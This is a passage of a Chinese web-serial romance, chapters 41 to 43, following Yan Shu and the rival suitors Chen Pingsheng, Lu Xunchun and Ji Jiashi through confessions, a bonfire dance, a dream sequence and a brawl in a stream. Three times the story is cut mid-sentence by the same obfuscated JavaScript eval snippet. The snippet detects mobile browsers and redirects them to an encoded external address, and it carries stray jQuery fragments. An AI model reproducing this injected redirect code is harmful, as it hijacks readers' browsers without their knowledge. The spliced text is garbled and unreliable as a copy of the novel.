风吹起了燕舒耳畔的发,飘过,遮挡住她的眼睛,叫人看不见她眼中的情绪。燕舒抬手将发别在耳后,抬眸问:“那你,为什么现在出现在我眼前,陈平生,你现在变得更好了吗?” 陈平生摇头,“没有。” “但,我很想你,想见你,想靠近你,想站在你身边。想以另一种身份亲近你。” “而且,离开你越久,越思考越觉得这其实是一个很愚蠢的决定。” 现在证明,确实愚蠢,陈平生现在连苦笑都苦笑不出了,他怔怔看着面前的人,心中酸涩。 燕舒点头,开口:“嗯,在我看来也一样。” “我最开始讨厌你,是以为你不喜欢我所以远离我,我想凭什么?你又有什么资格?后面尽管不喜欢了,但依旧对你挑剔贬低,所以越优秀越聪明,我妈越在我面夸你,我越烦你。” “那天,见面,你送的那条手链我很喜欢,你越了解我,越在我面前摆出相熟的样子,我就越讨厌。明明已经变了,你为什么还以为是从前。自以为聪明,其实很蠢。” “我讨厌你的自大、狂妄、愚蠢、自以为是、自鸣得意。” 燕舒的眼神很冷,被她看着,陈平生也觉得冷,他面色变得苍白,手也僵硬冰冷。 “对不起。”他低声道。 “你不用说对不起,你没对不起我过,冒犯甚至也谈不上。陈平生,只是我这个人就这样,我不喜欢你的时候,哪怕你什么都没做,我也……不太喜欢。” “我今天给你说这些,其实就想告诉你,陈平生,你其实一点都不了解我。” 陈平生感觉面颊一片凉意,他呆呆地看着燕舒,从她的话中第一次认识自己也第一次认识她。 陈平生哭了,眼泪毫无预兆地落下,泪珠从脸上滚落。 燕舒收声,咬唇看着他。 天空已经彻底昏暗,但他脸上的泪珠闪着光,她抬手,手指轻轻触碰到他的眼角。陈平生的身体微微一僵,却没躲开。燕舒将那滴泪勾在指尖,轻轻叹气,“好了,别哭了。陈平生,时间不早了,我们该回去了。” 她擦着石阶上的空隙,回转,向岸边走去。干脆利落地转身,没有丝毫犹豫,他只感受到几秒她发尾的馨香。 “燕舒……” “燕舒,你和陈平生,你们怎么了?”吃完饭后,张悦等人单独拉住燕舒询问。 饭桌上,明眼人都能看出两人之间的奇怪氛围,燕舒淡然自若地吃饭,陈平生却全程精神萎靡,甚至眼眶红红的,像是哭过。 一想到这个猜想,张悦就感到一丝不可置信和事实如此的癫狂,她看着燕舒的目光极度热切。 “没什么,就是我们之前有误会,聊了一下,解释开了。” “他是不是哭了?”李梦音也好奇地问。 陈平生哭过眼睛红红的,燕舒想撒谎可信度也不高,于是她点头,因为她不觉得陈平生哭是她造成的。 “燕老师,求教程。”李梦音抱住燕舒的手臂,头不停地蹭。 “我天。”张悦张大了嘴巴。 “为什么哭呢?” “呃……” “就是说了他几句,他心里太脆弱,哭了。” “难以置信,看着那么生人勿近的高智商研究员,竟然被你说几句就哭了?” “你是不是还隐藏了什么信息没告诉我们?” “我的竹马是哭包、霸道燕舒的娇竹马哈哈哈哈……” “什么鬼?” “……” 街边,张扬从小卖部里买了两瓶可乐,出来,他递给站在一旁发呆的陈平生。 “拿。” 陈平生接过,手指扣住可乐罐的拉环,微微用力,“咔”地一声,金属环被拉开,随即是“嘶——”的一声轻响,气泡从灌口涌出,他仰头,嘴唇贴近,液体顺着喉咙滑下,碳酸在舌尖跳动,带来一阵轻微的刺痛感。 他眼神微滞,看着手上的可乐。 喜欢一个人就像喝可乐,品尝出清甜也随着口腔的微微刺痛。 作为一名超级成熟的初中生,在学校里也看惯了各种爱恨情仇,面对这个刚交的朋友,张扬准备劝几句。 “生哥,有的时候,爱要学会放手,强求真的没有好结果。”少年的鸭公嗓在陈平生耳边响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127017|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈平生侧头,“你很懂?” “你都哭了。就下午半天相处的时间,你就哭了,证明你们俩不合适,至少聊得并不愉快是不是?”张扬苦口婆心道。 “是我之前和她有误会,今天解开了,我、感动落泪了。” “你就编吧。” “你有没有喜欢的人?”陈平生问。 “没有。”张扬答得很快。 “撒谎。” 两人对视,谁都没说话。 终于,张扬双手举起,作势投降,“你怎么看出来的。” 陈平生又喝了口,淡淡道:“诈你的。” 夜幕低垂,青石板两旁亮起了一盏盏暖黄的灯,光影摇曳,照射出走过的人的影子。笛声悠扬,伴随着鼓点彻底打破夜晚的寂静。 “什么声音?”有不明所以的人发出提问。 很快有人解答,“滨水古镇的篝火晚会,旅游推广活动,有唱歌跳舞的表演节目,不收钱,免费参加,但要抢靠前的位子。” 纪佳时混在下山的人群中,路过了镇中心的广场,广场上一堆篝火正在熊熊燃烧,火焰舔舐着夜空,火星四溅,像是撒向天际的星星。 篝火旁,几名身着传统服饰的舞者正随着乐声翩翩起舞,衣袖翻飞,裙摆旋转,仿佛与火焰融为一体。 纪佳时今天走遍桃山也没找到燕舒,他明明天亮之前就可以下山,但硬拖到了晚上。他不肯相信他们之间没有缘分,但白天都没看见,晚上更难了,他只能跟着人群一起下山。 滨水古镇的篝火晚会,燕舒他们应该会来,于是纪佳时等了好一会,却依旧也没找到人,他今天打算夜宿古镇,来得太急,根本没预定住宿,之后又上山找人,现在必须去找家民宿安排住宿了。 于是,他离开了。 “寻春,看见对方了?”作为陆寻春的室友,几人知道,今天陆寻春去给喜欢的女生买礼物结果恰巧就遇见了。纷纷祝贺感叹天定良缘,在朋友结婚的同一天遇见自己喜欢的人。 当然,这只是对好友的鼓励和祝福。 “不是。”陆寻春看着远处离开的人影,总觉得对方刚刚侧身的脸有些熟悉。总感觉哪见过。 不过,那人影走远,陆寻春也收回视线,将目光落到四周的人群中,便看见了对面远处刚刚挤人人群的陈平生三人。 是的,三个男的。 他和陈平生对上目光,两人皆面无表情地侧头挪开视线。 燕舒四人姗姗来迟,因为她们换了身传统服饰。 燕舒站在陈平生身边,他看着她心跳似乎漏了一拍,心脏和火焰在夜色中的跳动同频,发出“噼啪”的轻响,心脏也砰砰跳动。 他眼里只看得进她一个人,水蓝色长裙在火光下泛着柔和的色泽,裙摆上的银色花纹随着她的步伐而轻轻摇曳,仿佛水波荡漾。 陆寻春呆呆的望着,脸颊涌上热意。篝火火焰太汹涌太热烈,让他心也随之燃烧而感到躁动。 她似乎也瞧见他了,脸上露出笑容,抬手招呼。 他注意到,她左手腕是空的。 古镇的夜晚被篝火映照得通红,火光跳跃,映在每个人脸上,戏剧和跳舞的节目表演完毕,一位穿着古朴衣饰的女人上场,她拿起话筒唱起年轻女孩呼唤情郎的民歌,她的声音美妙而温柔,仿佛带着山水的灵气,穿透了夜色也飘进情郎的耳朵。 对面,一个男人拿着话筒才从人群中走出,悠扬的歌唱,热烈回应着女人的爱意。 刚刚跳舞表演的穿着民族服饰的年轻男女从人群中涌出,他们来到坐在篝火前的观众面前,笑盈盈地伸出了手。 陈平生拒绝了面前的女孩,侧头却见燕舒微笑着将手放入她面前邀请的男生手中,于是,他连忙拉住她的另一只手。 欢快的音乐在山间回荡,人群围成个大圈,手拉着手,随着音乐的节拍旋转舞动,笑声、欢呼声此起彼伏,仿佛整个世界都在这片火光中舞动。 陈平生望着燕舒的侧脸,她笑得格外灿烂,笑容温暖,眼神中闪烁着光芒,美得动魄惊心,裙摆在夜风中轻轻舞动,仿佛一朵盛开的蓝色花朵。 陆寻春望着她,只望着她。 音乐加快,人群的舞步也随之变得更加热烈,他撑着大家松手的空隙,来到燕舒身边,伸出手,“一起跳?” 于是,燕舒牵起了两个男人的手。 她到没什么,只不过陈平生和陆寻春却隐隐较着劲,眼神在火光的明亮与晦暗下激烈交锋。 终于,一曲结束,燕舒跳累了,准备退场休息,她想松开手,但身边两个男人都没放开。 “燕舒,聊聊。”陆寻春说。 燕舒瞥向陈平生。 他松开了手。 小溪,石梯上。 燕舒和陆寻春走到今天和陈平生来的地方,她停在小溪中间,裙摆摇晃,夜晚,溪水泛着粼粼的波光。 “陆寻春,你找我聊什么?”她转身问道。 陆寻春脸颊依旧发着烫,他的手放在包中,有些结巴,“你、你,今天很好看。” 燕舒挑眉,故作不开心状,“你的意思是我之前不好看?” “不是不是,只是第一次见你穿这种民族服饰,很独特,而且发现你跳舞很……欢快。”他急忙回道。 燕舒笑了,她看着他,不再说话了。 “燕舒,你最近很忙,我知道,所以我想问你还记得你要去看我比赛吗?如果实在没时间就算了。”陆寻春也不知道自己在说些什么。 他脑袋热的发昏。 “记得。你给我发时间,我会空出时间去的。” “哦。谢谢。” “嗯,那个,我没想到你也来桃山了,今天给你买了个礼物,本来想回学校给你,结果在这见面了,就想现在送给你。”陆寻春有些紧张。 “是什么?” “手镯。”他拿出,打开盒子。 燕舒低头,夸道:“好漂亮。” 她今天也去对面的银饰店看了,有喜欢的,但没有特别喜欢的,可看见陆寻春手里这个,她想如果她先看见她会买下来的。 “谢谢你。我很喜欢。”她看着他认真道。 42. 第 42 章 夜晚,空旷的街道,氛围宁静,路灯昏黄,黯淡又明亮,燕舒站在路中央,身后是紧闭大门的商店,两旁的路泛着朦胧的迷雾,对面的武馆却亮着灯,刺破了黑夜的森冷,让人不由自主地想要靠近。燕舒没有犹豫,抬脚向前,最终推开武馆的门,走了进去。 门被人推开,发出叮铃叮铃的声响,燕舒微微抬头才看见门口挂着一个风铃,它靠近门框,门被推动会触碰到它,便会发出声响。 陆寻春听见声音,转头看去,见是燕舒,面上露出惊喜。他低头看了看怀中的木剑,弯腰将其放在地上,向燕舒走去,问:“燕舒,这么晚,怎么突然来了。” 看见武馆里的人是陆寻春,燕舒并不惊讶,但面对对方的问她,她也不知该如何作答,毕竟她连这是哪都不知道,于是她没看陆寻春,只转动脑袋随意地打量这个武馆,道:“睡不着,来找你。” 这回答应该没错吧。 陆寻春侧身往回走,耳朵发烫,闷声点头,“你坐,我整理一下东西。” 陆寻春家是开武馆的,他毕业后就回到家中武馆继承家业了,晚上都要在闭馆前将所有的武术用具进行归纳整理一番。他一边整理,一边抬头悄悄地看燕舒,心里感到莫大的欢喜和甜蜜。 半个月前,燕舒分手了,于是他趁次机会再次接近她表明了心意,她虽没说接受,可也没拒绝他的靠近。想想也是,她才分手,怎么也不会断得那么快,他要耐心等待才是。 只不过,陆寻春没有想到这天来得这么快,也没想到会是她主动来找他说,想到这里,陆寻春有些热了,夏季炎热,武馆内也常开空调,但他前不久想着快关门了就把空调也关了,现在馆内的凉爽全靠之前的凉气撑着。他扯了扯衣领,让凉气顺着口子进去。 收拾了一会,陆寻春将木剑抱起,找话题问道:“燕舒,你吃晚饭了吗?” 说完,陆寻春就想给自己一巴掌,太蠢了这问题。 燕舒坐在馆内的木椅上,摸了摸肚子,“吃了。” 不知道吃没吃,反正不饿。 陆寻春在悄悄看她的时候,燕舒也在打量这个武馆,武馆很大,内部宽敞明亮,屏风格挡的木门后面似乎还有个小院子。地面铺着深褐色的木质地板,墙壁上挂着几幅装裱精美的术法作品,笔力遒劲,写着“天道酬勤”、“武德为先”等字句,透着一股古朴而庄重的气息。 燕舒走近,仔细观察,发现书法的印章盖着陆青两个字,她呢喃出声:“陆青?” 陆? “我母亲。”陆寻春走到燕舒身侧。 原来是陆寻春家的武馆。 燕舒下意识想问,陆寻春是单身家庭吗?但一瞬反应过来后,她忍不住摇头。 “你母亲的书法写得好好。”燕舒夸道。 她小时候学过书法,虽然后面又没学,但基本的观赏眼光还是有的。 武馆两侧的架子上,陈列着各式各样的武器——长枪、短剑、大刀等,墙角还摆放着几个木人桩和沙袋,显然是平日里练功用的器具。 燕舒继续往前走,另一侧墙壁上悬挂着几幅古代武师的画像,画像中的人物或持剑而立,或摆出拳势,神态威严,目光如炬。画像下方则摆放着一张古朴的茶桌,茶具整齐地陈列。 陆寻春跟在燕舒身后,他眼看着燕舒就要穿过屏风感到后面的小院,双手紧握,有些紧张。 不过,当燕舒走到屏风前时又停住了脚步,她侧身看向陆寻春,眼神询问。梦里第一次来到陆寻春家的武馆,燕舒保持着访客的礼貌,更何况,她还没搞清楚两人之间的身份呢,但看样子不是和纪佳时那样可以“老婆”、“老婆”叫着的关系。 “里面是我们家生活的小院子。”陆寻春迈步越过燕舒站在她前方,带着她往里走。 虽然知道梦境中不太可能有不熟悉的人出现,但燕舒还是问了句,“你……母亲她们不在家吗?” 陆寻春推开木门,“我妈带弟子去外省参加比赛了。” 至于他爸,生活和工作都是围着他妈打转,自然不可能在家。 燕舒当参观一样跟着陆寻春踏入门中,相比于外边武馆的现代化,门内就完全一个中式小庭院。走廊挂着玻璃灯泡,将这个庭院照得清清楚楚。庭院不大,却布局精巧,四周种着几株翠竹,竹叶随风轻摇,沙沙作响。 庭院中央摆放着一口古朴的水缸,水缸旁是一张石桌和几只石凳,庭院一角种着一棵老梅树,枝干虬曲,虽未到花期却已经能现象冬日里梅花绽放时的清雅。 燕舒走到树下,觉得此处小院别有洞天,白天外面是热闹繁华的街市,里面却如此清雅宁静。她一直觉得陆寻春身上有一种很舒服的气质,温和清雅,现在看了他生活的地方就知道他身上那种令人舒服的感觉来自哪了。 “你家好漂亮。”燕舒转头看着陆寻春道。 她又移情别恋了,之前很喜欢的纪佳时的房子和陆寻春家的一比显得有些平庸普通了。或者说,燕舒本身就偏爱后一种风格。 “你喜欢就好。”陆寻春回答。 “啊?” “我是说,你以后可以多来。” 燕舒看着陆寻春“噗呲”一下笑出了声。 见燕舒笑,陆寻春也忍不住笑,一开始他有些不明所以,反应过来后则耳朵更烫了。 逛完屋外,陆寻春将燕舒引入屋内,燕舒乖乖跟从。 “这是我房间。” 陆寻春的房间空间很大,卧室里除了单独的浴室还有一个书房,房间风格既古典又现代,可能是因为家学渊源,他墙边摆放着的也是各种武器,相比于武馆中用的,他的显得更精美漂亮,每一件都擦拭得锃亮,散发着凛冽的光芒。 她在这边看武器,陆寻春站在衣柜前扫视衣服,然后快速从地下翻找出两件崭新的睡衣。 “咳。”陆寻春将两件睡衣拿在手中,右手握拳放在嘴边轻声咳嗽。 燕舒听见他的声音,转身回头看去。 陆寻春眼神飘忽,道:“燕舒,你先坐着休息,我去洗澡。” “嗯。”燕舒点头。 但马上,她又声调上扬。 “嗯?” 她看向陆寻春手上拿着的睡衣,想到了什么,陆寻春是在暗示她要和她睡觉吗? 她和他这么亲密的吗?可是,很明显,她今天应该是第一次来他这。 难不成,他和她是那种关系? 燕舒感觉脸烧得通红,握在手中的短剑也变得无比沉重,她看着他,慢吞吞将短剑搁置在桌上。 “不行。”燕舒严词拒绝。 她没有说什么不行,但陆寻春懂了,他怔了怔,脸上的表情没有太大的变化,只是将衣服慢慢拿到身后。 两人对视,屋内气氛怪异。 “寻春,我找你只是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127018|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为想见你,没有别的想法。”燕舒温声开口。 因为不确定两人之间是不是有某些不可言说的关系,燕舒决定不把话说死,同时她也在思考,为什么现在还没有遇见陈平生,既然在和纪佳时的梦中有他,那么这个梦里也应该存在。 于是,当燕舒一路推脱着要离开时就在武馆门口看见了坐在地上的陈平生,他穿着白色短袖衬衫,一双眼睛明亮清澈,如果不是他红着脸,嘟嘟囔囔着一些莫名其妙的话,燕舒是不会把他当成酒鬼。 虽然不知道他为什么会醉在陆寻春家的武馆外,但因为梦境还没结束,且街道外一片迷蒙雾气,燕舒只能装模作样地让陆寻春帮忙将陈平生拖进武馆内。 燕舒在洗手间打湿帕子,外边,陆寻春沉着脸将陈平生一把丢到床上。 陆寻春很不爽,他有轻微洁癖、严重双标,在他的接受程度中,今天应该是燕舒在他床上,而不是某个喝了酒醉在他武馆外的酒鬼,最重要的是这酒鬼口中还喊着燕舒的名字,好想给他一巴掌把他打醒。 燕舒拧干帕子上的水走出洗手间,陆寻春黑着脸站在一旁,陈平生躺在床上,双手双脚大敞,看样子醉得很彻底。 看见燕舒,陆寻春努力收敛了一下脸上的表情,但还是很明显,燕舒只能抱歉道:“对不起,寻春,打扰了。” 听见她的话,陆寻春更不爽了,因为燕舒把那个人划分到她的身边,她在谢谢他。 “没事。”陆寻春微笑。 燕舒走上前,将浸过冰水的帕子折起贴在陈平生额头。 她是微微弯腰,和身下的男人离得很近,于是,陈平生睁开眼就看见燕舒的脸,一双眼睛冷静沉着,有些温柔但不多,他知道自己喝了酒,他以为自己梦见了她。 燕舒终于和纪佳时分手了,他欢欣鼓舞甚至去对方面前嘲讽,却没想到纪佳时面色森冷,他讽刺他,“你以为没了我,燕舒就只会看着你吗?” “不可能的,陈平生。” “何况,我不会放弃燕舒的。我只是做错了事,她生气了所以暂时不原谅我而已。” 被对方的话戳中,陈平生郁郁,便多喝了些酒,再思考着情敌地址找了去,准备示威一二,结果酒量实在不好,直接醉到在别人店门口。 “燕舒。”他望着她轻声道。 “嗯。” “醒了?” 陈平生摇头,然后猛地抬手揽住面前女生的腰,翻滚着将她抱到自己身边。他把她压在床上,手臂支在床上稍稍给两具身体留出些空隙,然后歪头看着她,说:“好香。” 说着,他就要将头埋入燕舒的脖颈。 ——砰! 陆寻春举着桌上的危险武器,在燕舒的怪异的目光中缓缓放下手,将东西放回桌上。 燕舒侧身,看了眼被她一脚踢下床的陈平生,似乎是因为脑袋先着地的原因,晕过去了。 当然,也许是因为醉了。 燕舒落地,蹲下,她一只手握住陈平生的脸,抬手,扇了一巴掌。 “以为仗着醉酒就可以调戏我吗?” 燕舒可以因为陈平生醉酒而主动亲他,但不允许他没经过她允许而做任何事,哪怕他现在醉了。 响声清脆,陆寻春却神游天外。 刚刚他做的比对方醉酒后口头调戏更严重,但燕舒没打他。 这说明…… 燕舒喜欢他! 43. 第 43 章 天光朦胧,古镇还陷在一片宁静之中,空气中弥漫着湿漉漉的水汽。 陈平生早早醒来,在民宿的院子中静静站着。 民宿是两层楼高的中式小院,清晨更显古朴清幽,脚下是青石板铺就的地面,因为中间的空间狭小倒也没种什么树,只在周边种了些花草观赏。 陈平生也不明白自己起这么早做什么,他甚至不明白自己为什么要在这里傻站着。总之,心绪纷乱。 他想起昨天晚上看见的画面,同样的地点,只不过换了一个人,她也换了副面孔,清凌凌笑着,眉眼温润,戴上那手镯,还朝对方晃了晃。对面的人也笑着看她,一双眼睛里是毫不掩饰的喜欢。夜空静谧,月色撩人,他们站在溪水上,宛若一对远离俗世纷扰的有情男女。 而他则是……阴沟里的老鼠,偷窥着他们的幸福,甚至妄想破坏。 陈平生一向自傲,从小到大他很少遇见不得意的事,用天之骄子四个字形容他丝毫不为过,脾气不好,少给人留脸面,但依旧被人捧着,因为他确实有自傲的资本。 但从小到大,面对燕舒,他总是打败仗。 他发脾气甩脸色,她能比他凶十倍,在她面前有理也变无理,她会和他冷战,也会骂他,过分生气时会打他,虽然他也生气,可比之生气更多的似乎是甜蜜和欢愉。 这不过是他们之间的玩闹罢了。 生气也当不得真。 可昨天,她神色那么平静,甚至还对他勾唇微笑,陈平生却只觉一颗心都浸泡在了冰水中。寒意从心脏迅速蔓延到全身,把神经纤维也冻住了似的,全然一个幽灵,控制着一具躯壳去按规章制度行动。 直至今天天明,他从床上坐起,才回魂。可刚归来的魂魄似乎有些懵懂,他站在院中,又呆又傻地站着。 “吱呀。” 一声轻微的声响打破了清晨的宁静,也唤回陈平生的思绪,他循声望去,只见二楼最东边的房门开了。房间里面是现代的,也有扇铁门,只不过为了使民宿风格统一,铁门外面还有扇木门,开合时会发出细微的响动。 一个身影从门后走了出来,站在了二楼的走廊。 是燕舒,她一向起得早。 走廊的灯亮着,暖光笼罩在她身上,柔和了她的眉眼。白色的毛衣外套,里面一件米白色针织衫,长发用木簪挽起,几缕碎发在脸庞晃荡。似乎是烦恼这几缕碎发,她抬手拔出木簪,一头长发倾斜垂落。她微微弯腰歪头和楼下的人对上了眼神。 楼下,陈平生望着她,仿佛听到心中冰层破裂的清脆声响。 燕舒有一双漂亮的眼睛,清润有神,明明带着清晨初醒的朦胧,却又透着一股说不出的清亮。像是山涧里的一汪清泉,平静之下藏着涌动的生命力。她看见他,眼底闪过惊讶,然后眼尾弯出一个柔和的弧度。 “燕舒。”他嗓音干涩。 “早上好。”她回应。 “早。” 此家民宿不包早饭,要想吃只能去外面买,于是,两人一同出门。 天还没大亮,古镇的街道笼罩在一层薄薄的雾气之中。 从昨天起,陈平生和燕舒就没再自然地交谈过了,好不容易聊起来却最终是互相剖白,于是此时他们也默契地没有交谈,只并肩走过街巷。青石板还带着夜里的湿气,踩上去有些滑。巷子两边的店铺大多还关着门,只有零星几家亮起了灯,打开了大门,多是早餐馆。 两人转过一个巷口,葱油香钻进两人口鼻,看见前面不远处一家小店门口支着油锅,女老板正在案板上揉面团。她的动作很利索,面团在她手里翻飞,发出“啪啪”的声响。油锅滋滋作响,金黄的饼在热油中鼓起。旁边的中年男人在往锅里倒豆子,哗啦啦的声响在寂静的街道上格外清晰。 看见燕舒两人走来,招呼道:“吃什么?葱油饼、稀饭、豆浆?还有卤蛋。” “刚出锅嘞。”说着她从油锅里夹起两个饼。 陈平生看向燕舒,她道:“两个葱油饼和豆浆。” “够吗?” “够。” 两人在摊子旁坐下。 “好咧。”老板娘麻利地用竹夹子从油锅里重新夹起两个饼,装进油纸袋里递给两人。豆浆是用铁碗装着的,中年人端到两人的桌上。 陈平生拿着饼,抬眸看燕舒,只见她小心地捧着饼,轻轻吹了吹,热气在她面前散开,模糊了她的眉眼。 “你记得以前校门口买红薯的那个婆婆吗?”陈平生问。 他记得,初中时,冬天里,天色昏暗,冷风不吹也侵人寒,两人走出校门,都要去买两个吃。他其实不爱吃这些零食,但他喜欢和她一起站在冷风里吃东西的感觉。天太冷,她围了围脖也嫌冷,整个人瑟缩着身子,手捧着红薯,低头,热气模糊遮住她的眼睛,然后她抬头对他微笑。 “甜。” 时光冉冉,从前的记忆再次浮现,少女稚嫩的眉眼稍稍变得坚韧而锋利,但在陈平生看来一如从前。 他脸上露出笑容。 “记得。”燕舒小口小口咬着饼,似乎也回忆起了那段年少记忆,脸上露出惆怅的笑颜。 “我回隆陵去学校门口找过好多次,都没找到。”学校门口依旧有买烤红薯的,陈平生买了,味道依旧甜,但他并未找到少年时和少女一起也冬夜里吃东西的欢喜了。 燕舒脸上的笑容变淡,眉眼耷拉下来,轻声道:“走了。你出国后。” 生老病死是人间常事,头发花白的老婆婆终究熬不过岁月。 陈平生沉默,两人又是无言将手上东西吃完。 街上雾气渐散,人声多了起来,街道渐渐热闹起来。但时间还太早,两人选择继续往前走,虽然昨天逛过整个古镇,但不同的时间自有不同的风景看。往前走,一家包子铺的蒸笼冒着腾腾热气,老板正在往架子上搬笼屉。隔壁豆腐脑摊前已经坐了几位食客,他们慢悠悠地喝着豆腐脑,时不时聊上几句。 街上像燕舒两人趁早闲逛的游客也变多了,互相交错而过。 再转过一个街角,前方有一家老茶馆已经开了门,门口挂着褪色的蓝色布帘子,里面传来茶壶咕嘟咕嘟的声响。有人走出,撩起了布帘,燕舒朝里看去,只见茶馆里光线昏暗,木桌木椅都泛着岁月的光泽。 不知不觉间,两人又来到了小溪边。只不过,这次,是陈平生走在前面,而燕舒跟在他身后。 两人心中都有一种预感,有事要在来两人之间发生,像是火焰喷发前的预兆,现在在静谧地隐忍不发而已。 于是,沉默之后还是沉默。 忽地,陈平生迈步走上小溪的石阶,他转过身,言笑晏晏,对燕舒伸出手,“燕舒舒,上来。” 这个石阶,哪怕是小孩都无需帮助,哪需要他拉她的手呢。 但,燕舒将她手放入他的手中。 陈平生心中一怔,既欣喜又心酸,最终转过了身。 两人拉着手,一前一后在小溪上走。 天空已经彻底明朗,溪水倒映出两人的影子,一男一女牵着手,共同走到小溪的对面。对面不过是小片树林,陈平生呆呆地巡视了一圈,又拿着燕舒返回了小溪的石阶上。 他们在昨天的石阶上站定,互相凝望。 “你要对我说什么?”燕舒问。 她看得出,陈平生有话给她说。 陈平生笑了,没有任何收敛的笑容,十分灿烂,他抬手轻轻敲了敲燕舒的头,语气颇为恶劣,“燕舒舒,我比你大,你应该叫我哥哥,一点都不礼貌。” “只大几个月。” “那也比你大。” 燕舒看着他,忽地也露出笑容,从善如流地喊:“哥哥。” 陈平生呆住了,他收了放在燕舒额头的手,握成拳,点头“嗯”了一声。 “虽然很难过,但我似乎确实让你讨厌了,燕舒舒,对不起。” 燕舒眸光沉静,没说话。 “我喜欢你,燕舒。” “可惜,这句话似乎说得太迟了。”陈平生脸上露出苦笑。 “而且,我的喜欢,如今对你似乎是困扰。你……” 纪佳时、陈平生,无论是她喜欢的,还是喜欢她的,在这些人之中他都找不到容身之地。陈平生感到沮丧。 燕舒面色不变,因为陈平生没说错,但她心底又似乎有点不得劲,或许又因为,当那些话在对方面前说出后,她又没那么讨厌他了。不过,燕舒向来感情冷淡,何况,她对陈平生如今低眉睡眼道歉的模样颇觉有趣。 陈平生看着燕舒的眉眼,心酸心痛,各种情绪像蚂蚁一般咬噬他的心中,于是原本顺畅的话语变得结巴,他想让自己甘心却又偏偏不甘心。 于是,问:“你现在有喜欢的人吗?” 燕舒想了想,回:“有。” 虽然不知道那喜欢有几分,但她确实喜欢纪佳时。 至于陈平生,那天下雨,他背着她在雨中时,她也确实心动。只不过,相比于纪佳时累积的心动,陈平生的几次太少。 “好。” “我知道了。”陈平生回答得很慢。 他强撑着笑,“燕舒,不管你喜欢谁,我……都、祝福……你。” 燕舒抬眸,“真的吗?” 陈平生垂在身边的手捏紧了又松,然后又握紧。数秒后,他伸手抱住面前的女孩,将她抱在怀中,脑袋放在她的脖颈,热气喷洒在她后颈,眼泪也落在她的肌肤上,他声音沉闷,“真的。” “燕舒舒,你别讨厌我。” “我不求你喜欢我,但你别讨厌我。” “我求你别讨厌我。” “好不好?” 最开始被陈平生拉入他的怀抱,燕舒僵了一瞬,随即又软了下来。而陈平生收紧手臂,把她搂紧,仿佛要把她揉进身体。她的发丝带着山间清晨的凉意,刮过他的脸颊,他低头,埋在她的颈间,闻到一阵清香。 燕舒没有回应,无论是肢体还是话语,她都没有给他任何答复。陈平生的心持续下沉,继续道:“燕舒,我们做一辈子都要好都不分离的朋友好吗?” 做/爱人太难,他选择退回朋友的界限。 “好。”这声音太轻,但陈平生又怎么会听不见呢。 “嗯。”他也轻声回应,放在燕舒背后的手握成拳,“一辈子的好朋友。” 定了这个界限,燕舒伸手推开陈平生,他没做什么挣扎,自己后退一步与燕舒拉开了距离。燕舒看着他脸上的泪珠,抬手勾住,“陈平生,你现在怎么那么爱哭,爱掉眼泪。” “只在你面前哭。” 燕舒怔愣。 看她愣住,陈平生转移话题,“燕舒,我研究所有事,要回去,你们去爬桃山吧。” 和燕舒退回朋友身份后,陈平生又欣喜又心痛,他需要缓一缓,研究所那边打来的电话刚好解决这个问题。对于他来说,在那都无所谓,他来这只是想和燕舒待在一起,但现在他又想一个人静一静、缓一缓。 “你坐谁的车?” “搭车。” 燕舒点头。 陈平生又暗自失落,忽然,抬眸一瞥,眉毛微蹙,但很快又收回视线。 “燕舒,我可以再抱你一下吗?”他问。 “你刚刚也没问我。”燕舒说。 不过,她也没多生气,毕竟陈平生语气那样软,声音那样低,还哭了。 陈平生弯腰低头,“那我可以亲你一下吗?” 正常男女性朋友之间可以随便亲吗? 答案是肯定不行。 “以失败的追求者身份,卑微的向你索求一个吻可以吗?”陈平生又问。 他喜欢她,做朋友难,做毫无暧昧的朋友更难。 因为,不是他喜欢过她,而是他喜欢她。 陈平生本意是真的后退,为了不让燕舒再讨厌他,但他又不甘心,后退又前进,于是无师自通绿茶手段。当然,他现在根本没意识到。 “不……”陈平生又不听话了,她的话还没说完,他就低头吻了上来,只不过,不是吻唇,而是轻柔地亲在她的额头。 燕舒呆了呆。 他看见,她的睫毛轻轻颤动,她的唇则近在咫尺,泛着淡淡的水光。 下一刻,陈平生被一拳打得后退,他避开燕舒,直接抱着那个打他的人跌入了小溪中。冰凉的溪水瞬间浸透了衣衫,刺骨的寒意让他打了个寒颤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她想起来了,早上手机里有一条他的消息,燕舒没点开细看,但似乎是他说要来桃山。 这么快的吗? 看着纪佳时被陈平生淹入水中,燕舒既担心又着急,“你们在做什么?” “陈平生!放手!” 陈平生抬眸看向燕舒,见她在为另一个人担忧,抿唇,心中钝痛,刚刚他被纪佳时打入水中,她不着急,现在纪佳时被他打了,她就心疼起来,想着这些,紧握着陈平生臂膀的手也松开。 手臂被钳制的力量变小,纪佳时咬牙发力,膝盖向陈平生腹部顶去,趁机翻身,他看着被他压在水中的陈平生,冷哼一声,抬拳也想对方的脸打去。 “燕舒,你别管,他该打。”纪佳时说。 